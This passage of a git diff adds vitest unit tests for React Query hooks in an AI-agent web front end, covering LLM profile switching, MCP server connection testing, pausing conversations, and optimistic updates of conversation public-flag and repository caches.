+  const queryClient = new QueryClient({
+    defaultOptions: {
+      queries: { retry: false },
+      mutations: { retry: false },
+    },
+  });
+  const invalidateQueriesSpy = vi.spyOn(queryClient, "invalidateQueries");
+  const { result } = renderHook(() => useSwitchLlmProfile(), {
+    wrapper: ({ children }) => (
+      <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+    ),
+  });
+  return { result, invalidateQueriesSpy };
+};
+
+describe("useSwitchLlmProfile", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    window.localStorage.clear();
+    SettingsService.invalidateCache();
+  });
+
+  it("invalidates the settings cache on the home-page activate path (conversationId === null)", async () => {
+    vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue(
+      undefined as never,
+    );
+    const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache");
+
+    const { result, invalidateQueriesSpy } = renderSwitchHook();
+
+    result.current.mutate({ conversationId: null, profileName: "my-profile" });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    expect(AgentServerConversationService.switchProfile).toHaveBeenCalledWith(
+      null,
+      "my-profile",
+    );
+    // The stale settings cache must be cleared so conversation-start uses the
+    // newly activated profile's LLM (the core of bug #640).
+    expect(invalidateCacheSpy).toHaveBeenCalled();
+    expect(invalidateQueriesSpy).toHaveBeenCalledWith({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+    expect(invalidateQueriesSpy).toHaveBeenCalledWith({
+      queryKey: SETTINGS_QUERY_KEYS.personal(),
+    });
+
+    invalidateCacheSpy.mockRestore();
+  });
+
+  it("does not touch the settings cache for the per-conversation switch path", async () => {
+    vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue(
+      undefined as never,
+    );
+    const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache");
+
+    const { result, invalidateQueriesSpy } = renderSwitchHook();
+
+    result.current.mutate({
+      conversationId: "conv-1",
+      profileName: "my-profile",
+    });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    expect(invalidateCacheSpy).not.toHaveBeenCalled();
+    expect(invalidateQueriesSpy).toHaveBeenCalledWith({
+      queryKey: LLM_PROFILES_QUERY_KEYS.all,
+    });
+    expect(invalidateQueriesSpy).toHaveBeenCalledWith({
+      queryKey: ["user", "conversation", "conv-1"],
+    });
+    expect(invalidateQueriesSpy).not.toHaveBeenCalledWith({
+      queryKey: SETTINGS_QUERY_KEYS.personal(),
+    });
+
+    invalidateCacheSpy.mockRestore();
+  });
+
+  it("does not invalidate the settings cache when the switch fails", async () => {
+    vi.mocked(AgentServerConversationService.switchProfile).mockRejectedValue(
+      new Error("boom"),
+    );
+    const invalidateCacheSpy = vi.spyOn(SettingsService, "invalidateCache");
+
+    const { result } = renderSwitchHook();
+
+    result.current.mutate({ conversationId: null, profileName: "my-profile" });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+
+    expect(invalidateCacheSpy).not.toHaveBeenCalled();
+
+    invalidateCacheSpy.mockRestore();
+  });
+
+  // Errors surface via a tailored onError (not the global mutation toast) so a
+  // failed switch keeps the specific "Switched to {name} failed" message
+  // (#1571 review).
+  it("shows the tailored switch-failed message when the error carries no server detail", async () => {
+    // An empty-message Error extracts to "" (see retrieveAxiosErrorMessage),
+    // so the tailored fallback is what actually renders.
+    vi.mocked(AgentServerConversationService.switchProfile).mockRejectedValue(
+      new Error(),
+    );
+
+    const { result } = renderSwitchHook();
+    result.current.mutate({ conversationId: null, profileName: "Smart" });
+
+    await waitFor(() => expect(result.current.isError).toBe(true));
+    // The global i18n mock returns the raw key (see vitest.setup.ts).
+    expect(displayErrorToast).toHaveBeenCalledWith("MODEL$SWITCH_FAILED");
+  });
+
+  it("prefers the server-provided error detail over the tailored fallback", async () => {
+    const axiosError = new AxiosError(
+      "Request failed",
+      "500",
+      undefined,
+      undefined,
+      {
+        status: 404,
+        statusText: "Not Found",
+        headers: new AxiosHeaders(),
+        config: { headers: new AxiosHeaders() },
+        data: { message: "LLM profile 'gpt-5' not found" },
+      },
+    );
+    vi.mocked(AgentServerConversationService.switchProfile).mockRejectedValue(
+      axiosError,
+    );
+
+    const { result } = renderSwitchHook();
+    result.current.mutate({ conversationId: null, profileName: "Smart" });
+
+    await waitFor(() => expect(result.current.isError).toBe(true));
+    expect(displayErrorToast).toHaveBeenCalledWith(
+      "LLM profile 'gpt-5' not found",
+    );
+  });
+
+  // The following behaviors run in the mutation-level onSuccess (not
+  // mutate-scoped callbacks) so they survive the switcher menu unmounting on
+  // select (#1571).
+  it("records the inline switch message anchored to the last renderable event", async () => {
+    vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue(
+      undefined as never,
+    );
+
+    const { result } = renderSwitchHook();
+    result.current.mutate({ conversationId: "conv-1", profileName: "Smart" });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(recordModelSwitchMessage).toHaveBeenCalledWith(
+      "conv-1",
+      "Smart",
+      "evt-9",
+    );
+  });
+
+  it("stamps the switched-to profile onto the conversation metadata, preserving repo/workspace (#1082)", async () => {
+    vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue(
+      undefined as never,
+    );
+    // Repo metadata persisted at creation must survive the merge.
+    setStoredConversationMetadata("conv-1", {
+      selected_repository: "octocat/hello-world",
+      selected_branch: "main",
+      git_provider: "github",
+    });
+
+    const { result } = renderSwitchHook();
+    result.current.mutate({
+      conversationId: "conv-1",
+      profileName: "claude-sonnet-4.6",
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    // The switch carries the previous record forward wholesale rather than
+    // re-listing known fields, so optional keys the record never had stay
+    // absent instead of being materialized as null.
+    expect(getStoredConversationMetadata("conv-1")).toEqual({
+      selected_repository: "octocat/hello-world",
+      selected_branch: "main",
+      git_provider: "github",
+      active_profile: "claude-sonnet-4.6",
+      // Client-clock ISO timestamp; the mutation path has no event timestamp.
+      stamped_at: expect.any(String),
+    });
+  });
+
+  it("preserves metadata fields the switch does not know about, such as the local planner id", async () => {
+    vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue(
+      undefined as never,
+    );
+    setStoredConversationMetadata("conv-1", {
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+      local_planning_conversation_id: "plan-conv-1",
+    });
+
+    const { result } = renderSwitchHook();
+    result.current.mutate({
+      conversationId: "conv-1",
+      profileName: "claude-sonnet-4.6",
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(
+      getStoredConversationMetadata("conv-1")?.local_planning_conversation_id,
+    ).toBe("plan-conv-1");
+  });
+
+  it("preserves the conversation's attached plugins across a profile switch", async () => {
+    vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue(
+      undefined as never,
+    );
+    setStoredConversationMetadata("conv-1", {
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+      plugins: [
+        { source: "github:acme/city-weather", ref: null, repo_path: null },
+      ],
+    });
+
+    const { result } = renderSwitchHook();
+    result.current.mutate({
+      conversationId: "conv-1",
+      profileName: "claude-sonnet-4.6",
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(getStoredConversationMetadata("conv-1")?.plugins).toEqual([
+      { source: "github:acme/city-weather", ref: null, repo_path: null },
+    ]);
+  });
+
+  it("does not stamp metadata for the home-page activate path (conversationId === null)", async () => {
+    vi.mocked(AgentServerConversationService.switchProfile).mockResolvedValue(
+      undefined as never,
+    );
+
+    const { result } = renderSwitchHook();
+    result.current.mutate({ conversationId: null, profileName: "Smart" });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+    expect(getStoredConversationMetadata("conv-1")).toBeNull();
+    expect(recordModelSwitchMessage).not.toHaveBeenCalled();
+  });
+
+  it("does not stamp metadata when the switch fails", async () => {
+    vi.mocked(AgentServerConversationService.switchProfile).mockRejectedValue(
+      new Error("boom"),
+    );
+
+    const { result } = renderSwitchHook();
+    result.current.mutate({ conversationId: "conv-1", profileName: "Smart" });
+
+    await waitFor(() => expect(result.current.isError).toBe(true));
+    expect(getStoredConversationMetadata("conv-1")).toBeNull();
+    expect(recordModelSwitchMessage).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-test-mcp-server.test.ts b/__tests__/hooks/mutation/use-test-mcp-server.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..8e51c8486ac44882d7efb54564c61e3bf6eaec7c
--- /dev/null
+++ b/__tests__/hooks/mutation/use-test-mcp-server.test.ts
@@ -0,0 +1,145 @@
+import { describe, expect, it, vi, afterEach, beforeEach } from "vitest";
+import React from "react";
+import { renderHook, waitFor, act } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { useTestMcpServer } from "#/hooks/mutation/use-test-mcp-server";
+import McpService from "#/api/mcp-service/mcp-service.api";
+import type { MCPServerConfig } from "#/types/mcp-server";
+
+vi.mock("#/api/mcp-service/mcp-service.api", () => ({
+  default: { testServer: vi.fn() },
+}));
+
+const SHTTP_SERVER: MCPServerConfig = {
+  id: "shttp-1",
+  type: "shttp",
+  url: "https://mcp.example.com/mcp",
+  auth: { strategy: "bearer", value: "secret-key" },
+};
+
+describe("useTestMcpServer", () => {
+  let queryClient: QueryClient;
+  let wrapper: ({
+    children,
+  }: {
+    children: React.ReactNode;
+  }) => React.ReactElement;
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+    wrapper = ({ children }: { children: React.ReactNode }) =>
+      React.createElement(
+        QueryClientProvider,
+        { client: queryClient },
+        children,
+      );
+  });
+
+  afterEach(() => {
+    queryClient.clear();
+    vi.clearAllMocks();
+  });
+
+  it("returns ok=true and tool list on success", async () => {
+    vi.mocked(McpService.testServer).mockResolvedValue({
+      ok: true,
+      tools: ["search", "fetch"],
+    });
+
+    const { result } = renderHook(() => useTestMcpServer(), { wrapper });
+
+    act(() => {
+      result.current.mutate(SHTTP_SERVER);
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    expect(McpService.testServer).toHaveBeenCalledWith(SHTTP_SERVER);
+    expect(result.current.data).toEqual({ ok: true, tools: ["search", "fetch"] });
+  });
+
+  it("returns ok=false with error_kind=timeout on timeout failure", async () => {
+    vi.mocked(McpService.testServer).mockResolvedValue({
+      ok: false,
+      error: "timed out",
+      error_kind: "timeout",
+    });
+
+    const { result } = renderHook(() => useTestMcpServer(), { wrapper });
+
+    act(() => {
+      result.current.mutate(SHTTP_SERVER);
+    });
+
+    // The mutation resolves (HTTP 200) even though ok=false — check isSuccess.
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    expect(result.current.data).toEqual({
+      ok: false,
+      error: "timed out",
+      error_kind: "timeout",
+    });
+  });
+
+  it("returns ok=false with error_kind=connection on connection failure", async () => {
+    vi.mocked(McpService.testServer).mockResolvedValue({
+      ok: false,
+      error: "ECONNREFUSED",
+      error_kind: "connection",
+    });
+
+    const { result } = renderHook(() => useTestMcpServer(), { wrapper });
+
+    act(() => {
+      result.current.mutate(SHTTP_SERVER);
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    expect(result.current.data).toMatchObject({
+      ok: false,
+      error_kind: "connection",
+    });
+  });
+
+  it("returns ok=false with error_kind=unknown on generic failure", async () => {
+    vi.mocked(McpService.testServer).mockResolvedValue({
+      ok: false,
+      error: "unexpected error",
+      error_kind: "unknown",
+    });
+
+    const { result } = renderHook(() => useTestMcpServer(), { wrapper });
+
+    act(() => {
+      result.current.mutate(SHTTP_SERVER);
+    });
+
+    await waitFor(() => expect(result.current.isSuccess).toBe(true));
+
+    expect(result.current.data).toMatchObject({
+      ok: false,
+      error_kind: "unknown",
+    });
+  });
+
+  it("transitions to error state when the network call itself throws", async () => {
+    vi.mocked(McpService.testServer).mockRejectedValue(
+      new Error("Network error"),
+    );
+
+    const { result } = renderHook(() => useTestMcpServer(), { wrapper });
+
+    await act(async () => {
+      result.current.mutate(SHTTP_SERVER);
+    });
+
+    await waitFor(() => expect(result.current.isError).toBe(true));
+    expect(result.current.data).toBeUndefined();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-unified-stop-conversation.test.tsx b/__tests__/hooks/mutation/use-unified-stop-conversation.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5721357cf896908497c55ca7e80cac669a7326e0
--- /dev/null
+++ b/__tests__/hooks/mutation/use-unified-stop-conversation.test.tsx
@@ -0,0 +1,245 @@
+import { act, renderHook } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { AxiosError } from "axios";
+import type { ReactNode } from "react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { useUnifiedPauseConversation } from "#/hooks/mutation/use-unified-stop-conversation";
+import { I18nKey } from "#/i18n/declaration";
+import { ExecutionStatus } from "#/types/agent-server/core";
+import { TOAST_OPTIONS } from "#/utils/custom-toast-handlers";
+
+const {
+  displayErrorToastMock,
+  navigateMock,
+  navigationState,
+  patchConversationInCacheMock,
+  pauseConversationMock,
+  toastDismissMock,
+  toastLoadingMock,
+  toastSuccessMock,
+  useTranslationMock,
+} = vi.hoisted(() => ({
+  displayErrorToastMock: vi.fn(),
+  navigateMock: vi.fn(),
+  navigationState: { conversationId: "conversation-1" as string | null },
+  patchConversationInCacheMock: vi.fn(),
+  pauseConversationMock: vi.fn(),
+  toastDismissMock: vi.fn(),
+  toastLoadingMock: vi.fn(),
+  toastSuccessMock: vi.fn(),
+  useTranslationMock: vi.fn((namespace: string) => ({
+    t: (key: string) => `translated:${key}`,
+    namespace,
+  })),
+}));
+
+vi.mock("react-hot-toast", () => ({
+  default: {
+    dismiss: (...args: unknown[]) => toastDismissMock(...args),
+    loading: (...args: unknown[]) => toastLoadingMock(...args),
+    success: (...args: unknown[]) => toastSuccessMock(...args),
+  },
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: (namespace: string) => useTranslationMock(namespace),
+}));
+
+vi.mock("#/context/navigation-context", () => ({
+  useNavigation: () => ({
+    conversationId: navigationState.conversationId,
+    navigate: navigateMock,
+  }),
+}));
+
+vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({
+  patchConversationInCache: (...args: unknown[]) =>
+    patchConversationInCacheMock(...args),
+  pauseConversation: (...args: unknown[]) => pauseConversationMock(...args),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("#/utils/custom-toast-handlers")>()),
+  displayErrorToast: (...args: unknown[]) => displayErrorToastMock(...args),
+}));
+
+interface SetupOptions {
+  currentConversationId?: string | null;
+  previousConversations?: unknown;
+}
+
+function setup({
+  currentConversationId = "conversation-1",
+  previousConversations,
+}: SetupOptions = {}) {
+  navigationState.conversationId = currentConversationId;
+  const queryClient = new QueryClient({
+    defaultOptions: {
+      mutations: { retry: false },
+      queries: { retry: false },
+    },
+  });
+  if (previousConversations !== undefined) {
+    queryClient.setQueryData(["user", "conversations"], previousConversations);
+  }
+  const cancelQueries = vi.spyOn(queryClient, "cancelQueries");
+  const setQueryData = vi.spyOn(queryClient, "setQueryData");
+  const wrapper = ({ children }: { children: ReactNode }) => (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+  const hook = renderHook(() => useUnifiedPauseConversation(), { wrapper });
+
+  return { ...hook, cancelQueries, queryClient, setQueryData };
+}
+
+beforeEach(() => {
+  vi.clearAllMocks();
+  navigationState.conversationId = "conversation-1";
+  toastLoadingMock.mockReturnValue("stop-toast");
+  pauseConversationMock.mockResolvedValue({ success: true });
+});
+
+describe("useUnifiedPauseConversation", () => {
+  it("pauses the active conversation, patches both paused statuses, and navigates home", async () => {
+    const previousConversations = {
+      pages: [{ items: [{ id: "conversation-1" }] }],
+    };
+    const { cancelQueries, queryClient, result } = setup({
+      previousConversations,
+    });
+
+    await act(async () => {
+      await result.current.mutateAsync({ conversationId: "conversation-1" });
+    });
+
+    expect(useTranslationMock).toHaveBeenCalledWith("openhands");
+    expect(
+      queryClient.getMutationCache().getAll().at(-1)?.options.mutationKey,
+    ).toEqual(["stop-conversation"]);
+    expect(toastLoadingMock).toHaveBeenCalledWith(
+      `translated:${I18nKey.TOAST$STOPPING_CONVERSATION}`,
+      TOAST_OPTIONS,
+    );
+    expect(cancelQueries).toHaveBeenCalledWith({
+      queryKey: ["user", "conversations"],
+    });
+    expect(cancelQueries.mock.invocationCallOrder[0]).toBeLessThan(
+      pauseConversationMock.mock.invocationCallOrder[0]!,
+    );
+    expect(pauseConversationMock).toHaveBeenCalledWith("conversation-1");
+    expect(toastDismissMock).toHaveBeenCalledWith("stop-toast");
+    expect(toastSuccessMock).toHaveBeenCalledWith(
+      `translated:${I18nKey.TOAST$CONVERSATION_STOPPED}`,
+      TOAST_OPTIONS,
+    );
+    expect(patchConversationInCacheMock).toHaveBeenCalledWith(
+      queryClient,
+      "conversation-1",
+      {
+        execution_status: ExecutionStatus.PAUSED,
+        sandbox_status: "PAUSED",
+      },
+    );
+    expect(navigateMock).toHaveBeenCalledWith("/conversations");
+    expect(displayErrorToastMock).not.toHaveBeenCalled();
+  });
+
+  it("does not dismiss a missing toast or navigate away from another conversation", async () => {
+    toastLoadingMock.mockReturnValue("");
+    const { queryClient, result } = setup({
+      currentConversationId: "another-conversation",
+    });
+
+    await act(async () => {
+      await result.current.mutateAsync({ conversationId: "conversation-1" });
+    });
+
+    expect(toastDismissMock).not.toHaveBeenCalled();
+    expect(patchConversationInCacheMock).toHaveBeenCalledWith(
+      queryClient,
+      "conversation-1",
+      {
+        execution_status: ExecutionStatus.PAUSED,
+        sandbox_status: "PAUSED",
+      },
+    );
+    expect(navigateMock).not.toHaveBeenCalled();
+  });
+
+  it("dismisses the loading toast and restores cached conversations on failure", async () => {
+    const previousConversations = {
+      pages: [{ items: [{ id: "conversation-1" }] }],
+    };
+    pauseConversationMock.mockRejectedValue(new Error("pause failed"));
+    const { result, setQueryData } = setup({ previousConversations });
+
+    await expect(
+      act(async () =>
+        result.current.mutateAsync({ conversationId: "conversation-1" }),
+      ),
+    ).rejects.toThrow("pause failed");
+
+    expect(toastDismissMock).toHaveBeenCalledWith("stop-toast");
+    expect(displayErrorToastMock).toHaveBeenCalledWith(
+      `translated:${I18nKey.TOAST$FAILED_TO_STOP_CONVERSATION}`,
+    );
+    expect(setQueryData).toHaveBeenCalledWith(
+      ["user", "conversations"],
+      previousConversations,
+    );
+    expect(toastSuccessMock).not.toHaveBeenCalled();
+    expect(patchConversationInCacheMock).not.toHaveBeenCalled();
+    expect(navigateMock).not.toHaveBeenCalled();
+  });
+
+  it("reports failure without restoring absent data or dismissing an absent toast", async () => {
+    toastLoadingMock.mockReturnValue("");
+    pauseConversationMock.mockRejectedValue(new Error("pause failed"));
+    const { result, setQueryData } = setup();
+
+    await expect(
+      act(async () =>
+        result.current.mutateAsync({ conversationId: "conversation-1" }),
+      ),
+    ).rejects.toThrow("pause failed");
+
+    expect(toastDismissMock).not.toHaveBeenCalled();
+    expect(displayErrorToastMock).toHaveBeenCalledWith(
+      `translated:${I18nKey.TOAST$FAILED_TO_STOP_CONVERSATION}`,
+    );
+    expect(setQueryData).not.toHaveBeenCalled();
+  });
+
+  it("reports an error safely when optimistic setup produced no context", async () => {
+    const { queryClient, result, setQueryData } = setup();
+
+    await act(async () => {
+      await result.current.mutateAsync({ conversationId: "conversation-1" });
+    });
+    vi.clearAllMocks();
+
+    const onError = queryClient.getMutationCache().getAll().at(-1)
+      ?.options.onError;
+
+    expect(onError).toBeTypeOf("function");
+    expect(() =>
+      onError?.(
+        new AxiosError("optimistic setup failed"),
+        { conversationId: "conversation-1" },
+        undefined,
+        {
+          client: queryClient,
+          meta: undefined,
+          mutationKey: ["stop-conversation"],
+        },
+      ),
+    ).not.toThrow();
+
+    expect(displayErrorToastMock).toHaveBeenCalledWith(
+      `translated:${I18nKey.TOAST$FAILED_TO_STOP_CONVERSATION}`,
+    );
+    expect(pauseConversationMock).not.toHaveBeenCalled();
+    expect(toastDismissMock).not.toHaveBeenCalled();
+    expect(setQueryData).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/mutation/use-update-conversation-public-flag.test.tsx b/__tests__/hooks/mutation/use-update-conversation-public-flag.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d13b5c83120cac076b949563cd234ff1285ac449
--- /dev/null
+++ b/__tests__/hooks/mutation/use-update-conversation-public-flag.test.tsx
@@ -0,0 +1,75 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { renderHook, waitFor } from "@testing-library/react";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { useUpdateConversationPublicFlag } from "#/hooks/mutation/use-update-conversation-public-flag";
+
+vi.mock("#/api/conversation-service/agent-server-conversation-service.api", () => ({
+  default: {
+    updateConversationPublicFlag: vi.fn(),
+  },
+}));
+
+describe("useUpdateConversationPublicFlag", () => {
+  let queryClient: QueryClient;
+
+  beforeEach(() => {
+    queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+        mutations: { retry: false },
+      },
+    });
+    vi.clearAllMocks();
+  });
+
+  it("optimistically updates all conversation cache entries before the request settles", async () => {
+    const conversationId = "conv-1";
+    const queryKey = [
+      "user",
+      "conversation",
+      conversationId,
+      "cloud-backend",
+      "org-1",
+    ] as const;
+
+    queryClient.setQueryData(queryKey, {
+      conversation_id: conversationId,
+      public: false,
+    });
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationPublicFlag,
+    ).mockImplementation(
+      () =>
+        new Promise((resolve) => {
+          setTimeout(
+            () =>
+              resolve({
+                conversation_id: conversationId,
+                public: true,
+              } as unknown as AppConversation),
+            50,
+          );
+        }),
+    );
+
+    const wrapper = ({ children }: { children: React.ReactNode }) => (
+      <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+    );
+
+    const { result } = renderHook(() => useUpdateConversationPublicFlag(), {
+      wrapper,
+    });
+
+    result.current.mutate({ conversationId, isPublic: true });
+
+    await waitFor(() => {
+      expect(queryClient.getQueryData(queryKey)).toMatchObject({
+        public: true,
+      });
+    });
+  });
+});
diff --git a/__tests__/hooks/mutation/use-update-conversation-repository.test.tsx b/__tests__/hooks/mutation/use-update-conversation-repository.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..074b55e85b307822dcb06235561c75914f0b409d
--- /dev/null
+++ b/__tests__/hooks/mutation/use-update-conversation-repository.test.tsx
@@ -0,0 +1,440 @@
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { useUpdateConversationRepository } from "#/hooks/mutation/use-update-conversation-repository";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+
+// Mock the AgentServerConversationService
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: {
+      updateConversationRepository: vi.fn(),
+    },
+  }),
+);
+
+// Mock react-i18next
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string) => key,
+  }),
+}));
+
+// Mock toast handlers
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displaySuccessToast: vi.fn(),
+  displayErrorToast: vi.fn(),
+}));
+
+const createWrapper = (queryClient?: QueryClient) => {
+  const client =
+    queryClient ??
+    new QueryClient({
+      defaultOptions: {
+        queries: {
+          retry: false,
+        },
+        mutations: {
+          retry: false,
+        },
+      },
+    });
+
+  const Wrapper = ({ children }: { children: React.ReactNode }) => (
+    <QueryClientProvider client={client}>{children}</QueryClientProvider>
+  );
+
+  return { Wrapper, client };
+};
+
+describe("useUpdateConversationRepository", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should call updateConversationRepository with correct parameters", async () => {
+    const mockResponse = {
+      id: "test-conversation-id",
+      selected_repository: "owner/repo",
+      selected_branch: "main",
+      git_provider: "github",
+    };
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationRepository,
+    ).mockResolvedValue(mockResponse as any);
+
+    const { Wrapper } = createWrapper();
+    const { result } = renderHook(() => useUpdateConversationRepository(), {
+      wrapper: Wrapper,
+    });
+
+    result.current.mutate({
+      conversationId: "test-conversation-id",
+      repository: "owner/repo",
+      branch: "main",
+      gitProvider: "github",
+    });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    expect(
+      AgentServerConversationService.updateConversationRepository,
+    ).toHaveBeenCalledWith(
+      "test-conversation-id",
+      "owner/repo",
+      "main",
+      "github",
+    );
+  });
+
+  it("should handle repository removal (null values)", async () => {
+    const mockResponse = {
+      id: "test-conversation-id",
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+    };
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationRepository,
+    ).mockResolvedValue(mockResponse as any);
+
+    const { Wrapper } = createWrapper();
+    const { result } = renderHook(() => useUpdateConversationRepository(), {
+      wrapper: Wrapper,
+    });
+
+    result.current.mutate({
+      conversationId: "test-conversation-id",
+      repository: null,
+      branch: null,
+      gitProvider: null,
+    });
+
+    await waitFor(() => {
+      expect(result.current.isSuccess).toBe(true);
+    });
+
+    expect(
+      AgentServerConversationService.updateConversationRepository,
+    ).toHaveBeenCalledWith("test-conversation-id", null, null, null);
+  });
+
+  it("should handle errors gracefully", async () => {
+    vi.mocked(
+      AgentServerConversationService.updateConversationRepository,
+    ).mockRejectedValue(new Error("Failed to update repository"));
+
+    const { Wrapper } = createWrapper();
+    const { result } = renderHook(() => useUpdateConversationRepository(), {
+      wrapper: Wrapper,
+    });
+
+    result.current.mutate({
+      conversationId: "test-conversation-id",
+      repository: "owner/repo",
+      branch: "main",
+      gitProvider: "github",
+    });
+
+    await waitFor(() => {
+      expect(result.current.isError).toBe(true);
+    });
+  });
+
+  it("optimistically updates the cached conversation under the prefix-extended key used by useUserConversation", async () => {
+    const conversationId = "test-conversation-id";
+    // Mirror the key shape from `useUserConversation`:
+    //   ["user", "conversation", cid, backendId, orgId]
+    const cacheKey = [
+      "user",
+      "conversation",
+      conversationId,
+      "default-local",
+      null,
+    ] as const;
+    const baseConversation = {
+      id: conversationId,
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+    } as unknown as AppConversation;
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationRepository,
+    ).mockImplementation(async () => {
+      // Block long enough to assert the optimistic update fires before
+      // the mutation resolves.
+      await new Promise((resolve) => setTimeout(resolve, 50));
+      return {
+        ...baseConversation,
+        selected_repository: "owner/repo",
+        selected_branch: "main",
+        git_provider: "github",
+      } as unknown as AppConversation;
+    });
+
+    const { Wrapper, client } = createWrapper();
+    client.setQueryData(cacheKey, baseConversation);
+
+    const { result } = renderHook(() => useUpdateConversationRepository(), {
+      wrapper: Wrapper,
+    });
+
+    result.current.mutate({
+      conversationId,
+      repository: "owner/repo",
+      branch: "main",
+      gitProvider: "github",
+    });
+
+    await waitFor(() => {
+      const cached = client.getQueryData<AppConversation>(cacheKey);
+      expect(cached?.selected_repository).toBe("owner/repo");
+      expect(cached?.selected_branch).toBe("main");
+      expect(cached?.git_provider).toBe("github");
+    });
+  });
+
+  it("optimistically updates every prefix-matching cache entry (multiple backends/orgs)", async () => {
+    const conversationId = "test-conversation-id";
+    const cacheKey1 = [
+      "user",
+      "conversation",
+      conversationId,
+      "backend-1",
+      "org-1",
+    ] as const;
+    const cacheKey2 = [
+      "user",
+      "conversation",
+      conversationId,
+      "backend-2",
+      "org-2",
+    ] as const;
+    const baseConversation = {
+      id: conversationId,
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+    } as unknown as AppConversation;
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationRepository,
+    ).mockImplementation(async () => {
+      await new Promise((resolve) => setTimeout(resolve, 50));
+      return {
+        ...baseConversation,
+        selected_repository: "owner/repo",
+        selected_branch: "main",
+        git_provider: "github",
+      } as unknown as AppConversation;
+    });
+
+    const { Wrapper, client } = createWrapper();
+    client.setQueryData(cacheKey1, baseConversation);
+    client.setQueryData(cacheKey2, baseConversation);
+
+    const { result } = renderHook(() => useUpdateConversationRepository(), {
+      wrapper: Wrapper,
+    });
+
+    result.current.mutate({
+      conversationId,
+      repository: "owner/repo",
+      branch: "main",
+      gitProvider: "github",
+    });
+
+    await waitFor(() => {
+      const cached1 = client.getQueryData<AppConversation>(cacheKey1);
+      const cached2 = client.getQueryData<AppConversation>(cacheKey2);
+      expect(cached1?.selected_repository).toBe("owner/repo");
+      expect(cached1?.selected_branch).toBe("main");
+      expect(cached1?.git_provider).toBe("github");
+      expect(cached2?.selected_repository).toBe("owner/repo");
+      expect(cached2?.selected_branch).toBe("main");
+      expect(cached2?.git_provider).toBe("github");
+    });
+  });
+
+  it("rolls back every prefix-matching cache entry when the mutation rejects", async () => {
+    const conversationId = "test-conversation-id";
+    const cacheKey1 = [
+      "user",
+      "conversation",
+      conversationId,
+      "backend-1",
+      "org-1",
+    ] as const;
+    const cacheKey2 = [
+      "user",
+      "conversation",
+      conversationId,
+      "backend-2",
+      "org-2",
+    ] as const;
+    const baseConversation = {
+      id: conversationId,
+      selected_repository: null,
+      selected_branch: null,
+      git_provider: null,
+    } as unknown as AppConversation;
+
+    vi.mocked(
+      AgentServerConversationService.updateConversationRepository,
+    ).mockRejectedValue(new Error("nope"));
+
